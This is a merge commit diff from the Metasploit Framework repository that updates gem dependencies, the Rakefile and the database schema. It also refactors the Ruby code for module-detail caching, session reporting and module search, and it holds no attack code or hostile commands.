Merge branch 'master' into bug/web-match_and_log_fingerprint
commit
a12e59ef1f
|
@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to
|
|||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
|
||||
When you file a bug report, please inclue your **steps to reproduce**,
|
||||
When you file a bug report, please include your **steps to reproduce**,
|
||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
||||
your environment. Without repro steps, your bug will likely be closed.
|
||||
With repro steps, your bugs will likely be fixed.
|
||||
|
|
49
Gemfile
49
Gemfile
|
@ -12,33 +12,33 @@ gem 'nokogiri'
|
|||
gem 'robots'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.6.16'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.11.2'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -46,9 +46,14 @@ group :test do
|
|||
# transactional fixtures because multiple connections are in use so
|
||||
# transactions won't work.
|
||||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
|
17
Gemfile.lock
17
Gemfile.lock
|
@ -13,6 +13,8 @@ GEM
|
|||
i18n (= 0.6.1)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
|
@ -20,15 +22,18 @@ GEM
|
|||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metasploit_data_models (0.6.16)
|
||||
metaclass (0.0.1)
|
||||
metasploit_data_models (0.11.2)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
multi_json (1.0.4)
|
||||
nokogiri (1.5.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.0)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
robots (0.10.1)
|
||||
|
@ -40,10 +45,14 @@ GEM
|
|||
rspec-expectations (2.13.0)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
|
||||
|
@ -56,7 +65,7 @@ DEPENDENCIES
|
|||
database_cleaner
|
||||
factory_girl (>= 4.1.0)
|
||||
json
|
||||
metasploit_data_models (~> 0.6.16)
|
||||
metasploit_data_models (~> 0.11.2)
|
||||
msgpack
|
||||
nokogiri
|
||||
pcaprub
|
||||
|
@ -65,5 +74,7 @@ DEPENDENCIES
|
|||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
timecop
|
||||
yard
|
||||
|
|
19
Rakefile
19
Rakefile
|
@ -36,6 +36,17 @@ else
|
|||
task :default => :spec
|
||||
end
|
||||
|
||||
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
|
||||
# YARD is not defined when yard.rake is loaded.
|
||||
begin
|
||||
require 'yard'
|
||||
rescue LoadError
|
||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||
"To generate documentation ensure to install the development group."
|
||||
|
||||
print_without = true
|
||||
end
|
||||
|
||||
begin
|
||||
require 'metasploit_data_models'
|
||||
rescue LoadError
|
||||
|
@ -58,14 +69,6 @@ else
|
|||
end
|
||||
end
|
||||
|
||||
begin
|
||||
require 'yard'
|
||||
rescue LoadError
|
||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||
"To generate documentation ensure to install the development group."
|
||||
|
||||
print_without = true
|
||||
end
|
||||
|
||||
|
||||
if print_without
|
||||
|
|
37
db/schema.rb
37
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||
ActiveRecord::Schema.define(:version => 20130430162145) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
|||
|
||||
create_table "hosts", :force => true do |t|
|
||||
t.datetime "created_at"
|
||||
t.string "address", :limit => nil
|
||||
t.string "address", :limit => nil, :null => false
|
||||
t.string "mac"
|
||||
t.string "comm"
|
||||
t.string "name"
|
||||
|
@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
|||
t.string "os_sp"
|
||||
t.string "os_lang"
|
||||
t.string "arch"
|
||||
t.integer "workspace_id"
|
||||
t.integer "workspace_id", :null => false
|
||||
t.datetime "updated_at"
|
||||
t.text "purpose"
|
||||
t.string "info", :limit => 65536
|
||||
|
@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
|||
t.integer "service_count", :default => 0
|
||||
t.integer "host_detail_count", :default => 0
|
||||
t.integer "exploit_attempt_count", :default => 0
|
||||
t.integer "cred_count", :default => 0
|
||||
end
|
||||
|
||||
add_index "hosts", ["address"], :name => "index_hosts_on_address"
|
||||
add_index "hosts", ["name"], :name => "index_hosts_on_name"
|
||||
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
|
||||
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
|
||||
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
|
||||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
|
||||
|
||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||
t.integer "host_id"
|
||||
|
@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
|||
end
|
||||
|
||||
create_table "module_actions", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id"
|
||||
add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id"
|
||||
|
||||
create_table "module_archs", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id"
|
||||
add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id"
|
||||
|
||||
create_table "module_authors", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
t.text "email"
|
||||
end
|
||||
|
||||
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id"
|
||||
add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id"
|
||||
|
||||
create_table "module_details", :force => true do |t|
|
||||
t.datetime "mtime"
|
||||
|
@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
|||
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
|
||||
|
||||
create_table "module_mixins", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id"
|
||||
add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id"
|
||||
|
||||
create_table "module_platforms", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id"
|
||||
add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id"
|
||||
|
||||
create_table "module_refs", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "detail_id"
|
||||
t.integer "index"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id"
|
||||
add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id"
|
||||
|
||||
create_table "nexpose_consoles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
|
|
|
@ -645,12 +645,69 @@ class DBManager
|
|||
}
|
||||
end
|
||||
|
||||
# Record a new session in the database
|
||||
# @note The Mdm::Session#desc will be truncated to 255 characters.
|
||||
# @todo https://www.pivotaltracker.com/story/show/48249739
|
||||
#
|
||||
# opts MUST contain either
|
||||
# +:session+:: the Msf::Session object we are reporting
|
||||
# +:host+:: the Host object we are reporting a session on.
|
||||
# @overload report_session(opts)
|
||||
# Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the
|
||||
# +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the
|
||||
# session's host. The Mdm::Host for the +session_host+ is created using
|
||||
# The session.session_host, +session.arch+ (if +session+ responds to arch),
|
||||
# and the workspace derived from opts or the +session+. The Mdm::Session is
|
||||
# assumed to be +last_seen+ and +opened_at+ at the time report_session is
|
||||
# called. +session.exploit_datastore['ParentModule']+ is used for the
|
||||
# Mdm::Session#via_exploit if +session.via_exploit+ is
|
||||
# 'exploit/multi/handler'.
|
||||
#
|
||||
# @param opts [Hash{Symbol => Object}] options
|
||||
# @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session
|
||||
# The in-memory session to persist to the database.
|
||||
# @option opts [Mdm::Workspace] :workspace The workspace for in which the
|
||||
# :session host is contained. Also used as the workspace for the
|
||||
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
|
||||
# Mdm::Workspace#name equal to +session.workspace+.
|
||||
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||
# @return [Mdm::Session] if session is saved
|
||||
# @raise [ArgumentError] if :session is not an {Msf::Session}.
|
||||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
# saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be
|
||||
# created, but the Mdm::Host will have been. (There is no transaction
|
||||
# to rollback the Mdm::Host creation.)
|
||||
# @see #find_or_create_host
|
||||
# @see #normalize_host
|
||||
# @see #report_exploit_success
|
||||
# @see #report_vuln
|
||||
#
|
||||
# @overload report_session(opts)
|
||||
# Creates an Mdm::Session from Mdm::Host.
|
||||
#
|
||||
# @param opts [Hash{Symbol => Object}] options
|
||||
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
|
||||
# closed.
|
||||
# @option opts [String] :close_reason Reason the session was closed.
|
||||
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
||||
# @option opts [String] :desc Session description. Will be truncated to 255
|
||||
# characters.
|
||||
# @option opts [Mdm::Host] :host The host on which the session was opened.
|
||||
# @option opts [DateTime, Time] :last_seen The last date and time the
|
||||
# session was seen to be open. Defaults to :closed_at's value.
|
||||
# @option opts [DateTime, Time] :opened_at The date and time that the
|
||||
# session was opened.
|
||||
# @option opts [String] :platform The platform of the host.
|
||||
# @option opts [Array] :routes ([]) The routes through the session for
|
||||
# pivoting.
|
||||
# @option opts [String] :stype Session type.
|
||||
# @option opts [String] :via_exploit The {Msf::Module#fullname} of the
|
||||
# exploit that was used to open the session.
|
||||
# @option option [String] :via_payload the {MSf::Module#fullname} of the
|
||||
# payload sent to the host when the exploit was successful.
|
||||
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||
# @return [Mdm::Session] if session is saved.
|
||||
# @raise [ArgumentError] if :host is not an Mdm::Host.
|
||||
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||
# saved.
|
||||
#
|
||||
# @raise ArgumentError if :host and :session is +nil+
|
||||
def report_session(opts)
|
||||
return if not active
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
@ -719,13 +776,11 @@ class DBManager
|
|||
|
||||
# If this is a live session, we know the host is vulnerable to something.
|
||||
if opts[:session] and session.via_exploit
|
||||
return unless host
|
||||
|
||||
mod = framework.modules.create(session.via_exploit)
|
||||
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
|
||||
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
|
||||
else
|
||||
mod_name = mod.name
|
||||
mod_fullname = mod.fullname
|
||||
|
|
|
@ -358,9 +358,19 @@ class Export
|
|||
return el
|
||||
end
|
||||
|
||||
|
||||
# @note there is no single root element output by
|
||||
# {#extract_module_detail_info}, so if calling {#extract_module_detail_info}
|
||||
# directly, it is the caller's responsibility to add an opening and closing
|
||||
# tag to report_file around the call to {#extract_module_detail_info}.
|
||||
#
|
||||
# Writes a module_detail element to the report_file for each
|
||||
# Mdm::Module::Detail.
|
||||
#
|
||||
# @param report_file [#write, #flush] IO stream to which to write the
|
||||
# module_detail elements.
|
||||
# @return [void]
|
||||
def extract_module_detail_info(report_file)
|
||||
Mdm::ModuleDetail.all.each do |m|
|
||||
Mdm::Module::Detail.all.each do |m|
|
||||
report_file.write("<module_detail>\n")
|
||||
m_id = m.attributes["id"]
|
||||
|
||||
|
@ -371,6 +381,7 @@ class Export
|
|||
end
|
||||
|
||||
# Authors sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_authors>\n")
|
||||
m.authors.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -381,6 +392,7 @@ class Export
|
|||
report_file.write(" </module_authors>\n")
|
||||
|
||||
# Refs sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_refs>\n")
|
||||
m.refs.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -392,6 +404,7 @@ class Export
|
|||
|
||||
|
||||
# Archs sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_archs>\n")
|
||||
m.archs.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -403,6 +416,7 @@ class Export
|
|||
|
||||
|
||||
# Platforms sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_platforms>\n")
|
||||
m.platforms.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -414,6 +428,7 @@ class Export
|
|||
|
||||
|
||||
# Targets sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_targets>\n")
|
||||
m.targets.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -424,6 +439,7 @@ class Export
|
|||
report_file.write(" </module_targets>\n")
|
||||
|
||||
# Actions sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_actions>\n")
|
||||
m.actions.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
@ -434,6 +450,7 @@ class Export
|
|||
report_file.write(" </module_actions>\n")
|
||||
|
||||
# Mixins sub-elements
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
report_file.write(" <module_mixins>\n")
|
||||
m.mixins.find(:all).each do |d|
|
||||
d.attributes.each_pair do |k,v|
|
||||
|
|
|
@ -314,17 +314,28 @@ class DBManager
|
|||
end
|
||||
|
||||
|
||||
# @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is
|
||||
# +false+.
|
||||
#
|
||||
# Destroys all Mdm::Module::Details in the database.
|
||||
#
|
||||
# @return [void]
|
||||
def purge_all_module_details
|
||||
return if not self.migrated
|
||||
return if self.modules_caching
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection do
|
||||
Mdm::ModuleDetail.destroy_all
|
||||
Mdm::Module::Detail.destroy_all
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
|
||||
# any module with an Mdm::Module::Detail where the modification time of the
|
||||
# Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the
|
||||
# Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail
|
||||
# is just destroyed without a new one being created.
|
||||
#
|
||||
# @return [void]
|
||||
def update_all_module_details
|
||||
return if not self.migrated
|
||||
return if self.modules_caching
|
||||
|
@ -334,106 +345,112 @@ class DBManager
|
|||
self.modules_cached = false
|
||||
self.modules_caching = true
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
|
||||
refresh = []
|
||||
skipped = []
|
||||
refresh = []
|
||||
skipped = []
|
||||
|
||||
Mdm::ModuleDetail.find_each do |md|
|
||||
Mdm::Module::Detail.find_each do |md|
|
||||
|
||||
unless md.ready
|
||||
refresh << md
|
||||
next
|
||||
unless md.ready
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
|
||||
unless md.file and ::File.exists?(md.file)
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
|
||||
if ::File.mtime(md.file).to_i != md.mtime.to_i
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
|
||||
skipped << [md.mtype, md.refname]
|
||||
end
|
||||
|
||||
unless md.file and ::File.exists?(md.file)
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
refresh.each { |md| md.destroy }
|
||||
|
||||
if ::File.mtime(md.file).to_i != md.mtime.to_i
|
||||
refresh << md
|
||||
next
|
||||
end
|
||||
|
||||
skipped << [md.mtype, md.refname]
|
||||
end
|
||||
|
||||
refresh.each {|md| md.destroy }
|
||||
refresh = nil
|
||||
|
||||
[
|
||||
[ 'exploit', framework.exploits ],
|
||||
[ 'auxiliary', framework.auxiliary ],
|
||||
[ 'post', framework.post ],
|
||||
[ 'payload', framework.payloads ],
|
||||
[ 'encoder', framework.encoders ],
|
||||
[ 'nop', framework.nops ]
|
||||
].each do |mt|
|
||||
mt[1].keys.sort.each do |mn|
|
||||
next if skipped.include?( [ mt[0], mn ] )
|
||||
obj = mt[1].create(mn)
|
||||
next if not obj
|
||||
begin
|
||||
update_module_details(obj)
|
||||
rescue ::Exception
|
||||
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
|
||||
[
|
||||
['exploit', framework.exploits],
|
||||
['auxiliary', framework.auxiliary],
|
||||
['post', framework.post],
|
||||
['payload', framework.payloads],
|
||||
['encoder', framework.encoders],
|
||||
['nop', framework.nops]
|
||||
].each do |mt|
|
||||
mt[1].keys.sort.each do |mn|
|
||||
next if skipped.include?([mt[0], mn])
|
||||
obj = mt[1].create(mn)
|
||||
next if not obj
|
||||
begin
|
||||
update_module_details(obj)
|
||||
rescue ::Exception
|
||||
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
self.framework.cache_initialized = true
|
||||
end
|
||||
|
||||
self.framework.cache_initialized = true
|
||||
self.framework.cache_thread = nil
|
||||
|
||||
self.modules_cached = true
|
||||
# in reverse order of section before with_connection block
|
||||
self.modules_caching = false
|
||||
|
||||
nil
|
||||
|
||||
}
|
||||
self.modules_cached = true
|
||||
self.framework.cache_thread = nil
|
||||
end
|
||||
|
||||
def update_module_details(obj)
|
||||
# Creates an Mdm::Module::Detail from a module instance.
|
||||
#
|
||||
# @param module_instance [Msf::Module] a metasploit module instance.
|
||||
# @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for
|
||||
# Mdm::Module::Detail.
|
||||
# @return [void]
|
||||
def update_module_details(module_instance)
|
||||
return if not self.migrated
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
info = module_to_details_hash(obj)
|
||||
bits = info.delete(:bits) || []
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
info = module_to_details_hash(module_instance)
|
||||
bits = info.delete(:bits) || []
|
||||
module_detail = Mdm::Module::Detail.create!(info)
|
||||
|
||||
md = Mdm::ModuleDetail.create(info)
|
||||
bits.each do |args|
|
||||
otype, vals = args
|
||||
case otype
|
||||
when :author
|
||||
md.add_author(vals[:name], vals[:email])
|
||||
when :action
|
||||
md.add_action(vals[:name])
|
||||
when :arch
|
||||
md.add_arch(vals[:name])
|
||||
when :platform
|
||||
md.add_platform(vals[:name])
|
||||
when :target
|
||||
md.add_target(vals[:index], vals[:name])
|
||||
when :ref
|
||||
md.add_ref(vals[:name])
|
||||
when :mixin
|
||||
# md.add_mixin(vals[:name])
|
||||
bits.each do |args|
|
||||
otype, vals = args
|
||||
|
||||
case otype
|
||||
when :action
|
||||
module_detail.add_action(vals[:name])
|
||||
when :arch
|
||||
module_detail.add_arch(vals[:name])
|
||||
when :author
|
||||
module_detail.add_author(vals[:name], vals[:email])
|
||||
when :platform
|
||||
module_detail.add_platform(vals[:name])
|
||||
when :ref
|
||||
module_detail.add_ref(vals[:name])
|
||||
when :target
|
||||
module_detail.add_target(vals[:index], vals[:name])
|
||||
end
|
||||
end
|
||||
|
||||
module_detail.ready = true
|
||||
module_detail.save!
|
||||
end
|
||||
|
||||
md.ready = true
|
||||
md.save
|
||||
md.id
|
||||
|
||||
}
|
||||
end
|
||||
|
||||
# Destroys Mdm::Module::Detail if one exists for the given
|
||||
# Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname.
|
||||
#
|
||||
# @param mtype [String] module type.
|
||||
# @param refname [String] module reference name.
|
||||
# @return [void]
|
||||
def remove_module_details(mtype, refname)
|
||||
return if not self.migrated
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname])
|
||||
md.destroy if md
|
||||
}
|
||||
|
||||
ActiveRecord::Base.connection_pool.with_connection do
|
||||
Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all
|
||||
end
|
||||
end
|
||||
|
||||
def module_to_details_hash(m)
|
||||
|
@ -523,108 +540,169 @@ class DBManager
|
|||
res
|
||||
end
|
||||
|
||||
# Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or
|
||||
# +'ILIKE'+
|
||||
#
|
||||
# @param values [Set<String>, #each] a list of strings.
|
||||
# @return [Arrray<String>] strings wrapped like %<string>%
|
||||
def match_values(values)
|
||||
wrapped_values = values.collect { |value|
|
||||
"%#{value}%"
|
||||
}
|
||||
|
||||
wrapped_values
|
||||
end
|
||||
|
||||
#
|
||||
# This provides a standard set of search filters for every module.
|
||||
# The search terms are in the form of:
|
||||
# {
|
||||
# "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ],
|
||||
# "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ]
|
||||
# }
|
||||
#
|
||||
# Returns true on no match, false on match
|
||||
# Supported keywords with the format <keyword>:<search_value>:
|
||||
# +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules.
|
||||
# +author+:: Matches modules with the given author email or name.
|
||||
# +bid+:: Matches modules with the given Bugtraq ID.
|
||||
# +cve+:: Matches modules with the given CVE ID.
|
||||
# +edb+:: Matches modules with the given Exploit-DB ID.
|
||||
# +name+:: Matches modules with the given full name or name.
|
||||
# +os+, +platform+:: Matches modules with the given platform or target name.
|
||||
# +osvdb+:: Matches modules with the given OSVDB ID.
|
||||
# +ref+:: Matches modules with the given reference ID.
|
||||
# +type+:: Matches modules with the given type.
|
||||
#
|
||||
def search_modules(search_string, inclusive=false)
|
||||
return false if not search_string
|
||||
# Any text not associated with a keyword is matched against the description,
|
||||
# the full name, and the name of the module; the name of the module actions;
|
||||
# the name of the module archs; the name of the module authors; the name of
|
||||
# module platform; the module refs; or the module target.
|
||||
#
|
||||
# @param search_string [String] a string of space separated keyword pairs or
|
||||
# free form text.
|
||||
# @return [[]] if search_string is +nil+
|
||||
# @return [ActiveRecord::Relation] module details that matched
|
||||
# +search_string+
|
||||
def search_modules(search_string)
|
||||
search_string ||= ''
|
||||
search_string += " "
|
||||
|
||||
search_string += " "
|
||||
# Split search terms by space, but allow quoted strings
|
||||
terms = Shellwords.shellwords(search_string)
|
||||
terms.delete('')
|
||||
|
||||
# Split search terms by space, but allow quoted strings
|
||||
terms = Shellwords.shellwords(search_string)
|
||||
terms.delete('')
|
||||
# All terms are either included or excluded
|
||||
value_set_by_keyword = Hash.new { |hash, keyword|
|
||||
hash[keyword] = Set.new
|
||||
}
|
||||
|
||||
# All terms are either included or excluded
|
||||
res = {}
|
||||
terms.each do |term|
|
||||
keyword, value = term.split(':', 2)
|
||||
|
||||
terms.each do |t|
|
||||
f,v = t.split(":", 2)
|
||||
if not v
|
||||
v = f
|
||||
f = 'text'
|
||||
end
|
||||
next if v.length == 0
|
||||
f.downcase!
|
||||
v.downcase!
|
||||
res[f] ||= [ ]
|
||||
res[f] << v
|
||||
end
|
||||
unless value
|
||||
value = keyword
|
||||
keyword = 'text'
|
||||
end
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
unless value.empty?
|
||||
keyword.downcase!
|
||||
|
||||
where_q = []
|
||||
where_v = []
|
||||
value_set = value_set_by_keyword[keyword]
|
||||
value_set.add value
|
||||
end
|
||||
end
|
||||
|
||||
res.keys.each do |kt|
|
||||
res[kt].each do |kv|
|
||||
kv = kv.downcase
|
||||
case kt
|
||||
when 'text'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( ' +
|
||||
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
|
||||
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
|
||||
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
|
||||
') '
|
||||
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
|
||||
when 'name'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
|
||||
where_v << [ xv, xv ]
|
||||
when 'author'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) '
|
||||
where_v << [ xv, xv ]
|
||||
when 'os','platform'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
|
||||
where_v << [ xv, xv ]
|
||||
when 'port'
|
||||
# TODO
|
||||
when 'type'
|
||||
where_q << ' ( module_details.mtype = ? ) '
|
||||
where_v << [ kv ]
